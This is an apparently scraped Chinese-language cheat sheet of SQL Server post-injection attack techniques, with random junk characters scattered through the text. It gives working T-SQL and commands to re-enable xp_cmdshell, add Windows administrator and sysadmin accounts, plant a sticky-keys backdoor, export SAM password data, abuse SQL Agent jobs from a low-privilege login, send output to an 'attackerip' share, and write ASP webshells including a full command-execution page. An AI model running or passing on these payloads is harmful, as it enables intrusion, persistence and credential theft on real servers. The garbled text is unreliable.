1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号5 j0 e" i# t* L \5 U! N/ H* h7 w
恢复方法:查询分离器连接后,3 B, x `) b1 g' p4 P
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int . v, U) K/ `7 Q3 g/ T; s( G
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
- P+ O: @# r9 g3 K3 V) h然后按F5键命令执行完毕
0 v1 Z8 @" y# C+ R8 f! J0 j# |. e2 X7 m" ?
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
; z; S, t# v* K$ j5 u+ V恢复方法:查询分离器连接后,
2 J5 ]2 j5 `: }8 }; o7 L) N第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"* j4 I0 w: a0 p; p8 ~ j
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
2 z2 K; m! m5 M8 c然后按F5键命令执行完毕
4 R8 X' | Y2 B" D! r: E9 D
? J# i' t! y8 L3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)2 R3 |; c' G" w' V
恢复方法:查询分离器连接后,
' m; y/ s- n* x5 @! J' }第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
' z- s7 j) l' N0 A3 G" C第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
2 ` Q, ]9 l5 [% \- f# I4 q然后按F5键命令执行完毕
+ O' q% B, k9 K" \5 W. L% z- ?$ Q9 ^" u4 B( [7 G# |9 G
4 终极方法.' z0 F0 C) j! M# o2 x% H e( |0 o
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:% L( [& ?8 L! G1 m$ H/ {
查询分离器连接后,
# D* g t* H" C8 X9 y% X2000servser系统:7 Y; p% r% J9 D8 r7 ~9 p
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
5 |# y# {+ x) Z9 t3 [* f* o2 r* z* g1 U* l9 g: p! `1 V
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 C0 Q$ @! A' b0 ?) M. r' L
! `; a1 Q8 ~. t# @1 rxp或2003server系统:
; {) }3 W/ s' R2 |2 I
* _$ I+ z$ N, X' X; L' @/ ydeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'7 `4 y5 t7 o Q* ^2 \7 C9 X( }
/ z) o4 }* Q+ R! R
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
' r7 Y \4 E- v' |; A! `1 ~+ |. f' e
# ~. A9 M E: [5 Y; ^! { x
五个SHIFT& e" o* Q3 [1 l& d% f; W6 J; l3 e
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';( q' g5 N Y2 G- M' c. }1 @3 P
8 @+ O* W' ]+ fdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ! s. {3 c- O+ X3 z# ~6 Z; r! W
+ H6 l( _6 |: b, ?xp_cmdshell执行命令另一种方法7 _) ?6 c! w" P2 ~( Y
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ) @* I& L+ R/ b; c* C
" w- Z7 ?& S# j* N9 u4 `判断存储扩展是否存在
2 C% c1 p4 M. j8 E0 {Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
" P' g/ C/ g/ ^' d8 v/ [( P P返回结果为1就OK4 s, v$ Z3 h, a/ l
# @4 X4 I" S( t$ W# m' s4 J9 C
. d# @9 d4 ^0 ~, }1 F
上传xplog70.dll恢复xp_cmdshell语句:3 {4 a9 S3 j$ ~* M
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
1 t! x( L4 L8 p9 B( A; L) E
( e! H' F+ O& [& s9 P8 Q否则上传xplog7.0.dll
$ d) \- A1 @+ I9 g5 F# jExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
7 V1 w! }& m. Y+ \9 M b# ?' Q; {1 U
) j- v7 L- C) V5 J! a' i$ |0 w
# c6 K9 H& M0 m6 r* U, N! g首先开启沙盘模式:
, u: r8 G. Z9 {! r# w) x7 sexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
, O9 A L: @: }* a$ J2 k: [: y
& t7 V" D7 X7 g& Y" t/ s$ {, ]/ _, D然后利用jet.oledb执行系统命令" q8 i" c& D3 q! u
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
- J6 S3 }- `5 p* ], M返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了; l0 C. z: Q, B8 n- P6 b3 \
2 C2 D8 N6 F! s# d) N' C5 |: a2 g5 I6 s
- g# J& z$ g4 r1 s& g, m! s
恢复过程sp_addextendedproc 如下: - J; o8 _! o! e% S
create procedure sp_addextendedproc --- 1996/08/30 20:13 ; Z! I' K6 V+ D- i( s
@functname nvarchar(517),/* (owner.)name of function to call */ 9 ]- X% X, r/ M6 d L) U6 S/ |7 T% ` O
@dllname varchar(255)/* name of DLL containing function */
0 b! Y+ d$ I! ] `9 h% ^as
+ i# ~: n7 j. U2 Hset implicit_transactions off 7 J, _" P: O a+ R/ R
if @@trancount > 0 " b* ?7 J+ |! P% f
begin
* u; j% H+ S+ c& H7 N) k; J- ?raiserror(15002,-1,-1,'sp_addextendedproc') A: e; \# e% b( y
return (1) - H+ }, v8 M- Q2 o* K
end / p7 o3 s) ]8 W i/ e" N
dbcc addextendedproc( @functname, @dllname)
5 K, k& F5 T8 h' Z0 }return (0) -- sp_addextendedproc
& U, R8 q8 h: W6 A4 A0 bGO _& `; a6 u1 [1 J
$ ?+ L& B# t# w! `
& u: | ]2 r- f, G
! `+ X1 } g5 ^2 `- k导出管理员密码文件
% {: ^ T: n( R# ^1 l5 C9 Z; E% msa默认可以读sam键.应该。/ F" v( I! z6 o. e, S" N* M
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
- g) \. q7 p* ]6 f! X2 ?" g* Y) Nnet user administrator test* W% X, V& o8 \
用administrator登陆., `/ h1 b. p3 c% g- T) k
用完机器后( a! x8 Q* n7 ^
reg import c:\test.reg9 m: B4 L% \" p: r
根本不用克隆.: _% W {. W5 ?3 L+ W
找到对应的sid.
0 e- W; a6 a1 [+ n( D! k
' u9 t: K6 z: K( ~& z1 h) A, K7 M, u) U& _+ ^ m9 S5 @8 M
' }. }" G9 z& q
恢复所有存储过程
. L7 E2 P" n% K- v) h, k J$ F! [+ Fuse master 9 F3 z' J, ?2 L2 A8 d+ o' ?2 a2 `
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 3 Q X; J; W! V" e& |, E
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
' s1 Z" w/ J8 Z' Jexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
7 D5 ?! _& ~0 C/ {/ Q# ~$ Vexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' " ^& K2 `4 i. o
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' % Y; S, a) C+ i" p5 w) Y1 c
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
) h8 D% `# e6 @$ m# _* b$ I) aexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
- R( }4 u& y! e/ y; N! m9 E8 Aexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
4 W6 ^/ ]+ ^& W# b4 | u; Kexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ! w. x: G& X$ b6 H8 J: R
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
# j1 R9 ]2 A8 d9 a7 C0 U/ iexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
( q& N+ L" v" d, _5 V5 Hexec sp_addextendedproc sp_OAStop,'odsole70.dll'
# ^' W/ q" y9 R: W8 v0 q& aexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' h0 _7 y3 w! z5 Y- a8 [
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' , }( n- S, I! _5 t
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
6 l) M5 l, S, F; ^exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
" n% I" u: W3 \6 x$ mexec sp_addextendedproc xp_regread,'xpstar.dll' ! B1 W& k5 I8 e: K9 c/ {3 S
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 3 l+ K7 o! H& W6 m8 l' P
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
& t6 Z& e& f+ l j5 H& mexec sp_addextendedproc xp_availablemedia,'xpstar.dll'* F# d ?' ^1 _& |* D4 r3 e
4 c: h1 T, [3 m# q+ F, l' D- R$ V
建立读文件的存储过程+ o1 W& R9 \: l$ b$ W0 X1 x# Y% ~
Create proc sp_readTextFile @filename sysname- D" W& T) v3 P, e3 i1 K
as
5 p3 w5 n3 p! j9 D% F0 I3 `# c& Y& w
begin / A3 @3 }1 N: a- O
set nocount on
; u! i0 I G- C4 Y( Q* B7 |* D z Create table #tempfile (line varchar(8000)). S3 ]% ?( i: X2 }& i* B
exec ('bulk insert #tempfile from "' + @filename + '"'); ^0 u' f4 c' g# N1 H1 O# J
select * from #tempfile& Z7 ?: P5 m. l" X9 E- E1 R/ J- j' B
drop table #tempfile
. y- j. [) g+ p0 m- r2 {End
5 ~$ U4 l8 h+ b0 F* A
. K+ p: E- Y% T w1 Fexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
% `' C' ]6 R; q8 s4 J查看登录用户6 A8 f6 c9 a2 x- l8 g
Select * from sysxlogins- s$ l. E4 u( E' b& H5 q/ {- [
4 z0 N* r$ d$ N) M$ v
把文件内容读取到表中
$ J4 H8 c- h6 b; g, VBULK INSERT tmp from "c:\test.txt"( f7 z1 g# |7 E4 c
dElete from 表名 清理表里的内容9 X# _, ^! T7 O& b; L# n& c' O5 U* s' o
create table b_test(fn nvarchar(4000));建一个表,字段为fn d. S( {* Q6 Q9 X5 ]& X; {
4 ]3 n" q& u+ M U1 [2 A6 \- H! T
$ t! C ]: b0 n- |6 b x q
加sa用户9 ~! s" K: p5 z [; {
exec master.dbo.sp_addlogin user,pass;
+ o, S8 M) c" Y% x+ zexec master.dbo.sp_addsrvrolemember user,sysadmin
" W' W0 M0 e$ k% x0 s; v* n7 w( G: L
( k) P7 c5 t' J" @. ~5 I9 E( V
7 r9 R" L5 e% a, b0 ]) }. H
读文件代码
/ f* ?- W P9 Ydeclare @o int, @f int, @t int, @ret int
1 i$ P' ~. \: G; p* d. W; ?declare @line varchar(8000)5 g6 x1 w7 {; W9 C* o0 m
exec sp_oacreate 'scripting.filesystemobject', @o out
# z' V0 ~. s5 s! C/ v1 G6 ~4 Y, Zexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1# C+ t5 A0 P/ t
exec @ret = sp_oamethod @f, 'readline', @line out8 N1 \/ n+ C6 k0 o9 S4 M
while( @ret = 0 )
' ^( Q5 M- Q3 W" k3 [, g5 }7 Xbegin$ z: H8 K2 E) T( z7 y! Z/ Q& I7 v# r
print @line
. [! W8 K, }9 I. q/ K: s& `/ ?exec @ret = sp_oamethod @f, 'readline', @line out
6 G5 ]# N& @3 y! W8 Rend9 z$ D& d5 v' Z7 u9 i, k" Z7 p! l' H
# C0 m; X/ u1 j2 E4 y5 B M
; X: s$ d( _( o4 A写文件代码:" q- P+ I) O2 F4 @. J4 @
declare @o int, @f int, @t int, @ret int# V% o1 Q: _1 C! M# y9 K
exec sp_oacreate 'scripting.filesystemobject', @o out) v$ f0 t" y' X9 ?; s j- \
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1; M& b S+ w$ M0 V- \8 m
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》% b- k+ H2 G& H' Y
" D" F9 F& `" h% M2 l+ i2 h7 F2 x
8 _: g# H( j% @- w, L) x* O4 f添加lake2 shell! _2 k& X5 k+ d' F
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
5 q* D1 C, c6 u2 Asp_dropextendedproc xp_lake2# r% |' |/ t8 p2 u- R6 E6 W+ D. E, \
EXEC xp_lake2 'net user'2 Z0 h# s' U9 E- i
# ]; S9 \% L2 ^$ N5 A4 @
C+ a* X5 ]9 }得到硬盘文件信息 / t8 J/ ?9 \( ]- A0 f, O* I% `
--参数说明:目录名,目录深度,是否显示文件 7 |! _& Y& B+ j5 H+ G
execute master..xp_dirtree 'c:' ; `) ~2 o1 G' B
execute master..xp_dirtree 'c:',1 5 w$ t- e) b& M4 Z7 F
execute master..xp_dirtree 'c:',1,1 & [2 @1 }7 g8 Y7 U. J- a7 H
) a- c$ n8 z& n, R
, e* w5 m! J1 U$ A5 ]( a读serv-u配置信息
: D4 P( `. I/ ]0 g0 Qexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
, F; s4 x1 V& t+ lexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
A" T. s* e* d ~
: [8 v- ?/ Y+ _通过xp_regwrite写SHIFT后门
) D; w& r0 \1 Q, O' h2 _3 cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
9 f# z+ k$ A) h! Y' U! N
- ^ p r. ~ O1 V
# v; [. p% e; g2 m3 I3 R/ L: k
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
* s6 U4 f& M8 ?& ?1 }$ zexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了1 y; l2 U; N! i g
* S/ |' l! t T; B9 ?7 T
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'/ h& E7 R. q. E8 c6 \
+ k5 e y. q! A4 p; r
' t3 Z: U4 {, w. ~1 M
1 G/ R! G6 e0 f, qsql server 2005下开启xp_cmdshell的办法
- m$ E A4 a% |+ X" N1 Z. M
) ^" t8 h) p7 E/ |9 ^: JEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;' h) }/ I$ ? K; l; ^4 R
# P5 p( E- a5 i1 N3 v+ S0 S
SQL2005开启'OPENROWSET'支持的方法:7 @/ @' x% ~- z0 i: g
9 ^1 X2 S8 D( vexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;+ b" V: i) o S$ Q4 b0 E
" E2 I& h4 ?/ n% h+ P* \. D
SQL2005开启'sp_oacreate'支持的方法:' }; P9 v, f8 ?3 y8 S3 P% J# b
; z2 {0 l& ^. n6 ^3 uexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
- r6 x! l$ }2 _7 ]( Z9 ?8 l5 s3 g. i" j
% ?0 Q: H: W/ O1 p$ ~" v
. e* {# d5 e) }8 H6 D
4 g9 ?5 s+ t/ V4 ~# r' x" |0 l7 v' ?3 u# D; n3 d5 l# S2 G
" b2 b1 N8 O& H. a
; Z5 e0 G' S- K2 o8 b+ F( k
( P9 i8 V* V! Y9 Y: h: F3 L b3 o6 x; }4 Y. |5 s/ C
: z9 ?' ~8 J0 h5 H, N
, I/ {6 K% r) P# u: r
, a+ j" | S% O0 }4 T
$ ?2 L* X& u* x. ]: B9 w% _6 G; r- y/ A/ I7 X' E
+ G" P) F3 y7 u+ ^; P& ^1 Y) R& l
6 b' i* S1 Q& Y, @+ d0 ~
" m" i' x. s2 Y% e0 w* A' D
' y. v. m5 h, E' m, j* u/ z8 [/ s6 `6 x
) T! y7 ~! p+ }: B7 y' y$ _7 C1 I7 s
% g* K: y& b# e- H' e6 _5 ?. P4 V3 {% Y8 b/ l2 Q9 j
: g9 `+ _( `6 y' m7 Q/ B4 R0 X, @
以下方面不知道能不能成功暂且留下研究哈:
2 {6 Z7 r, g5 h. ~7 j/ V; l8 |4)3 R' {& g' x! a
use msdb; --这儿不要是master哟! J( n) A* N2 F5 B9 u! o- S
exec sp_add_job @job_name= czy82 ;
; c( y& d1 C& g/ S+ e# {* texec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;' q/ R! \6 a; j
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
: x! u# W o6 j% t5 x0 x. Z% Z! \% i2 Zexec sp_start_job @job_name= czy82 ;
. b: L) ~- G" k: w" Z, a! D* v: \5 i. b: V' c+ x- O
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
0 _* x4 @$ J$ V! Y( G8 g: }1 K执行tsql语句了.- E9 Y9 P3 L% [+ L3 h. c2 `$ I! E
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名2 o2 M' [4 q, ~6 m( @7 F% u
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
& ?6 I$ x9 W! `7 ? n7 \net start SQLSERVERAGENT
7 p7 v9 Z* F& C8 G9 w0 y% @+ F* R5 S N! m( M6 P& @
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的2 J0 f \; Y& c: g. W) f
USE msdb6 r9 H I, f7 V/ h/ J6 O
EXEC sp_add_job @job_name = GetSystemOnSQL , S$ u- ~1 f9 o9 J7 @1 y, q& o
@enabled = 1,
* s) c. U5 r+ ^0 c3 t% N@description = This will give a low privileged user access to
4 g$ n2 Q# a& Pxp_cmdshell ,
# l$ ? N$ D: x@delete_level = 1# o, V" d; J! R, c+ g) F
EXEC sp_add_jobstep @job_name = GetSystemOnSQL , N8 T# P& }+ [6 D! @* U
@step_name = Exec my sql ,
; {0 j+ I5 M3 d( w! ~, w: v@subsystem = TSQL ,9 ]. \/ f5 ]5 o' V# {
@command = exec master..xp_execresultset N select exec
* G9 V: L" [7 k+ m4 [master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
! g; ?; { |% u- p& i) ]EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,5 D1 i5 b. X; r( U# i+ @9 [: d! G4 E
@server_name = 你的SQL的服务器名
6 A* t" D7 s& Z% `EXEC sp_start_job @job_name = GetSystemOnSQL 3 D, @8 u; k1 a ~, v) a
/ o( `- Q4 ^0 p, d C4 d不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
& j2 o+ n* m5 e8 i才让我们可以以public执行xp_cmdshell, q, D4 ]6 l, V: |( k; R
, q( G: ~, M$ ^* R5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
# ^ [9 V- k, [# W5 Q( v3 ~在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968/ g* z& f, g/ `! }7 O. w- ^
5 O7 }8 F/ M% Y8 c* _0 yUSE msdb
0 u. W* a2 C$ JEXEC sp_add_job @job_name = ArbitraryFilecreate ,$ C* l0 w& i, W0 j
@enabled = 1,. M( c5 a! l* o! f
@description = This will create a file called c:\sqlafc123.txt ,
! f- A# W- Z& U7 X@delete_level = 1
) y; `& y$ u! W! REXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,9 R9 I; S; K6 _* \, y
@step_name = SQLAFC ,
2 l+ V: l( d/ ^; w$ ~1 ~* q* ~+ j- ^@subsystem = TSQL ,& ~; l5 H& w, K7 n# K. m9 W
@command = select hello, this file was created by the SQL Agent. ,/ O. E' {6 `8 C4 V" f% h
@output_file_name = c:\sqlafc123.txt 1 z3 I* b" {+ ?8 [1 w, @& V
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate , N1 w" q# w( I
@server_name = SERVER_NAME 4 R2 B2 r( a4 E& n7 A) q6 _
EXEC sp_start_job @job_name = ArbitraryFilecreate
. [0 E; Q3 Y! O* ]/ ]9 o" w; {1 f# @: ~
如果subsystem选的是:tsql,在生成的文件的头部有如下内容7 F- I! O9 B; S0 K# Y7 w; ]6 c
1 e! J* B* H: n7 Y
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
+ ^( X4 H' X0 r: X5 x----------------------------------------------
: k, q7 a, v- m7 ehello, this file was created by the SQL Agent.
! ~) `+ U( v# S1 o4 D G
|2 V1 V6 ~- ]% L9 x0 N(1 ?????)$ H/ N0 ^, _$ q! L
3 k7 Z) b, C* Q+ z; Q所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
9 P2 {0 [3 D5 x命令的vbs文件到启动目录!
1 G" q" |$ N# I* w2 e, E/ U1 {& h0 o8 `; T% Q& ^: C
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)& F1 M7 R% k& d6 M# t5 @' g# N
关于sp_MScopyscriptfile 看下面的例子. @4 Y; D8 T E( c2 `* w
declare @command varchar(100)
2 ^+ B$ Q- E+ o; x) k! E' U9 Jdeclare @scripfile varchar(200)
! z$ x B% ^6 f) I+ m) E5 yset concat_null_yields_null off + e% m( g) ]& f. M
select @command= dir c:\ > "\\attackerip\share\dir.txt"
: k" a9 d; U6 t; ]+ r: ~select @scripfile= c:\autoexec.bat > nul" | @command | rd "
; V4 K$ B0 ]) O5 s3 D, I% ]exec sp_MScopyscriptfile @scripfile , 9 i9 b/ n" P" N8 N+ F
/ N8 l) P% x2 ~8 O1 O这两个东东都还在测试试哟& y c$ O& R# C% s
让MSSQL的public用户得到一个本机的web shell
3 {* P7 g7 @1 x6 k' S7 S# w0 i
5 O/ s t! P( l8 Zsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
1 Z6 Z3 v3 W* J) d--@query= select <img src=vbscript:msgbox(now())>
6 n8 K4 I: M1 ^( B) q--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 0 @. Y; C3 n+ u: r( K
@query= select & r+ g3 f3 r6 C6 r* F6 |
<%On Error Resume Next
6 [8 j7 t9 c, A# VSet oscript = Server.createObject("wscript.SHELL") 1 }! H, B4 t5 G" C7 D5 Q& c9 t! O
Set oscriptNet = Server.createObject("wscript.NETWORK") " d% A, ^# ]5 v6 |) a3 \$ [5 ?
Set oFileSys = Server.createObject("scripting.FileSystemObject") ' d% r8 i* Z; S3 m* o/ v
szCMD = Request.Form(".CMD")
) V! k% s# _4 }. J: MIf (szCMD <>"")Then ) m4 ?$ K: i4 C- d
szTempFile = "C:\" & oFileSys.GetTempName() 7 I( g; Q/ `3 Y9 i9 M k3 C
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 1 n' _& q+ I3 z' B
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
* K4 z @! m" j: G4 L Y# c) t. mEnd If %>
8 C D- }, Z5 D<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
1 Y' g6 B' o! ~+ X<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> . O: L M* |: G3 G R
</FORM>< RE>
; L& [# |6 p- X5 _. X0 q<% If (IsObject(oFile))Then % y k- o( l7 s; A+ b- V
On Error Resume Next 1 e$ H" F4 M7 n) }/ {8 q$ ]
Response.Write Server.HTMLEncode(oFile.ReadAll)
4 \) H1 X G: w4 {oFile.Close 8 U n( e6 ?6 r* Z* J! R
Call oFileSys.deleteFile(szTempFile, True)
/ f t* y# e" [9 U D# x7 wEnd If%>
, u3 X( p2 d b2 S8 ~+ k4 U& d</BODY></HTML>
. |$ P' h; S+ @" {5 T* [ |